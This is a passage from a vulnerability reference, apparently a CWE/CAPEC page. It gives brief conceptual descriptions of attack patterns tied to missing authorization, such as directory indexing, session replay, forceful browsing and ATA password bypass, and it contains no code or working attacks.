In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.